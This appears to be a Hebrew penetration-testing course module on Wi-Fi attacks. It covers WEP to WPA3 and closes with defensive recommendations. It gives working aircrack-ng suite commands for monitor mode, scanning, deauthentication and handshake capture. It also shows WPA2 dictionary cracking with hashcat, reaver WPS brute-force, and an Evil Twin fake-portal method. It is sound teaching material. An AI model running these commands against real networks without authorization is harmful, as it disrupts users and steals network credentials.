

מודול 14 — תקיפות אלחוטיות

חומר לימוד

1 יחידות

1. מודול 14 — תקיפות אלחוטיות (Wireless Attacks)

מודול 14 — תקיפות אלחוטיות (Wireless Attacks)

מטרות המודול: להבין כיצד עובדת אבטחת Wi-Fi ואיך תוקפים אותה. נלמד את משפחת הפרוטוקולים (WEP/WPA/WPA2/WPA3), נבצע **סריקת רשתות** ו-**לכידת Handshake**, נפצח סיסמאות WPA2, ונכיר מתקפות מתקדמות: **Evil Twin**, **Deauthentication** ו-**WPS**. המודול מקנה את היכולת לבצע בדיקת אבטחה של רשת אלחוטית ארגונית.

קבצים: README.md · missions.md · solutions.md · practice.md · slides.md.

⚠ **דרישת חומרה — קרא לפני שתתחיל!** תקיפות אלחוטיות דורשות **מתאם Wi-Fi חיצוני (USB)** שתומך ב-**Monitor Mode** ו-**Packet Injection** (למשל שבבי Atheros AR9271, Ralink RT3070, Realtek RTL8812AU). הכרטיס המובנה בלפטופ לרוב לא מספיק, וגם לא ניתן לבצע זאת ב-**VM** ללא **חיבור USB passthrough של מתאם תואם**. אם אין חומרה — הבן את התיאוריה מהמודול, ותרגל את **הפיצוח** (החלק החישובי) על קבצי cap. להורדה. הפעולות האחרות דורשות מתאם פיזי.

תוכן העניינים

1. יסודות רשתות אלחוטיות
2. פרוטוקולי אבטחה: WEP → WPA3
3. ציוד וסביבה (Monitor Mode)
4. סריקה ואיסוף מידע
5. Deauthentication ולכידת Handshake
6. פיצוח WPA2
7. מתקפות מתקדמות: Evil Twin ו-WPS
8. הגנה על רשת אלחוטית

14.1 יסודות רשתות אלחוטיות

- **SSID** — שם הרשת המשודר.
- **BSSID** — כתובת ה-MAC של נקודת הגישה (Access Point / AP).
- **Client (STA)** — מכשיר מחובר (טלפון, לפטופ).
- **ערוצים (Channels)** — תדרים (2.4GHz / 5GHz) שבהם משדרים.

• **Beacon Frames** — ה-AP משדר את נוכחותו ברציפות.

תעבורה אלחוטית **משודרת באוויר** — כל מי שבטווח יכול "להאזין" (בניגוד לרשת קווית). לכן ההצפנה קריטית.

🎯 הרעיון המרכזי: אם אנחנו יכולים ללכוד את חבילות ה-**Handshake** (רגע ההתחברות), נוכל לנסות לפצח את הסיסמה offline — בדיוק כמו hashes (מודול 8).

14.2 פרוטוקולי אבטחה: WEP → WPA3

פרוטוקול	שנה	מצב אבטחה
WEP	1997	שבור לחלוטין — נפצח תוך דקות (חולשת IV)
WPA	2003	חלש (TKIP); פתרון ביניים
WPA2	2004	הנפוץ ביותר ; פגיע לפיצוח Handshake (סיסמה חלשה)
WPA3	2018	חזק (SAE); עמיד לפיצוח offline, אך מתקפות עדיין קיימות

המיקוד המעשי: רוב הרשתות עדיין **WPA2-PSK**. החולשה אינה בפרוטוקול עצמו אלא ב**סיסמה חלשה** — לוכדים Handshake ומפצחים במילון.

🔍 WEP הוא שריד היסטורי — אם תמצא אותו בבדיקה, זה ממצא קריטי מיידי. WPA2 בטוח כל עוד הסיסמה חזקה.

14.3 ציוד וסביבה (Monitor Mode)

Monitor Mode מאפשר למתאם ל"האזין" לכל התעבורה באוויר (לא רק לרשת שאליה מחובר). **Packet Injection** מאפשר לשלוח חבילות (נדרש ל-Deauth).

```
# זיהוי המתאם:
iwconfig                                # מחפשים wlan0

# הפעלת Monitor Mode (חבילת aircrack-ng):
sudo airmon-ng check kill                # עוצר תהליכים מפריעים
sudo airmon-ng start wlan0              # → wlan0mon במצב monitor

# אימות:
iwconfig wlan0mon                        # Mode:Monitor
```

⚠ אם `airmon-ng` לא מציג את הכרטיס במצב `monitor` — הכרטיס/הדרייבר לא תומך. זו הסיבה שצריך מתאם USB ייעודי.

14.4 סריקה ואיסוף מידע

airodump-ng סורק את כל הרשתות והלקוחות בסביבה:

```
sudo airodump-ng wlan0mon
```

פלט טיפוס:

BSSID	PWR	CH	ENC	CIPHER	AUTH	ESSID
AA:BB:CC:11:22:33	-40	6	WPA2	CCMP	PSK	HomeNet
DD:EE:FF:44:55:66	-70	11	WPA2	CCMP	PSK	Office-WiFi

נבחר יעד (BSSID + ערוץ) ונתמקד בו כדי ללכוד Handshake:

```
sudo airodump-ng --bssid AA:BB:CC:11:22:33 -c 6 -w capture wlan0mon
# --bssid = היעד, -c = ערוץ, -w = שמירה לקובץ
```

🔍 עמודת **PWR** = עוצמת אות (קרוב יותר = מספר גבוה יותר, שלילי פחות). עמודת **STATION** (בתחתית) מראה לקוחות מחוברים — נזדקק להם ל-Deauth.

14.5 Deauthentication ולכידת Handshake

ה-**Way Handshake-4** נלכד רק כשלקוח מתחבר ל-AP. במקום לחכות — נכריח לקוח קיים להתנתק (Deauth), והוא יתחבר מחדש אוטומטית → לוכדים.

```
# רץ על היעד, בטרמינל שני airodump-ng-בזמן ש
sudo aireplay-ng --deauth 5 -a AA:BB:CC:11:22:33 -c <client-mac> wlan0mon
# --deauth 5 = שלח 5 חבילות ניתוק; -a = ה-AP; -c = הלקוח
```

—  **WPA handshake: AA:BB:CC:11:22:33** כשהלקוח מתחבר מחדש, airodump-ng יציג למעלה: **WPA handshake: AA:BB:CC:11:22:33** לכדנו.

 Deauth היא גם מתקפת **DoS** בפני עצמה (ניתוק מתמשך), אך כאן המטרה היא רק לכידת ה-Handshake. שלח מעט חבילות — לא צריך להטריד את הרשת.

14.6 פיצוח WPA2

ה-Handshake שנלכד מכיל את הסיסמה בצורה מוצפנת (PMK). מפצחים **offline** במילון:

```
# aircrack-ng:
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# hashcat ממירים תחילה ל (hashcat מהיר יותר עם):
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

אם הסיסמה במילון — נקבל אותה. אם היא **חזקה** (ארוכה, אקראית) — הפיצוח ייכשל, וזה בדיוק מדוע WPA2 בטוח עם סיסמה טובה.

 **החיבור למודול 8:** זהו בדיוק אותו רעיון של פיצוח סיסמאות offline — לוכדים “hash” (כאן: Handshake) ומפעילים מילון/WPA2. hashcat חזק = סיסמה שלא נמצאת בשום wordlist.

14.7 מתקפות מתקדמות: Evil Twin ו-WPS

Evil Twin (תאום מרושע)

מקימים **AP מזויף** עם אותו SSID של הרשת האמיתית. הקורבן מתחבר בטעות, ואנחנו יכולים ללכוד תעבורה או להציג **דף התחברות מזויף** (Captive Portal) שגונב את הסיסמה.

```
# מאוסמים את כל התהליך – airgeddon, wifiphisher כלים:
```

WPS (הכפתור/PIN לחיבור קל) פגיע למתקפת **brute-force** על ה-PIN (8 ספרות):

```
sudo reaver -i wlan0mon -b <BSSID> -vv
# פעיל WPS לזיהוי רשתות עם wash או
sudo wash -i wlan0mon
```

Evil Twin 💡 מסוכן במיוחד כי הוא עוקף הצפנה חזקה — במקום לפצח את WPA2, פשוט **מרמים את המשתמש** למסור את הסיסמה. הנדסה חברתית (מודול 15) פוגשת אלחוט.

14.8 הגנה על רשת אלחוטית

להמלצות בדוח (מודול 16):

- **סיסמה חזקה וארוכה** (+15 תווים אקראיים) — ההגנה מספר 1 מול פיצוח WPA2.
- **WPA3** במקום WPA2 היכן שאפשר.
- **כבה WPS** — וקטור brute-force מיותר.
- **הפרד רשת אורחים** מהרשת הארגונית (VLAN).
- **WPA2-Enterprise (802.1X / RADIUS)** — אימות פר-משתמש במקום סיסמה משותפת.
- **נטר AP מזויפים** (Rogue AP Detection) מול Evil Twin.

סיכום המודול

- תעבורה אלחוטית משודרת באוויר → הצפנה קריטית; **WEP שבור**, **WPA2** הנפוץ, **WPA3** החזק.
- דורש מתאם עם **Monitor Mode + Injection**; מפעילים עם **airmon-ng**.
- **airodump-ng** סורק; מבצע Deauth ללכידת **Handshake**.
- מפצחים **WPA2 offline** (aircrack-ng / hashcat -m 22000) — בדיוק כמו מודול 8.
- **Evil Twin** ו-**WPS** הן מתקפות מתקדמות; Evil Twin עוקף הצפנה דרך הטעיה.
- **הגנה:** סיסמה חזקה, WPA3, כיבוי WPS, WPA2-Enterprise.

מה הלאה?

→ `practice.md` — תרגול ותרחישים · `solutions.md` — פתרונות · `missions.md` — תרגילים →

מודול 15 — הנדסה חברתית ופשינג

← חזרה למפת הקורס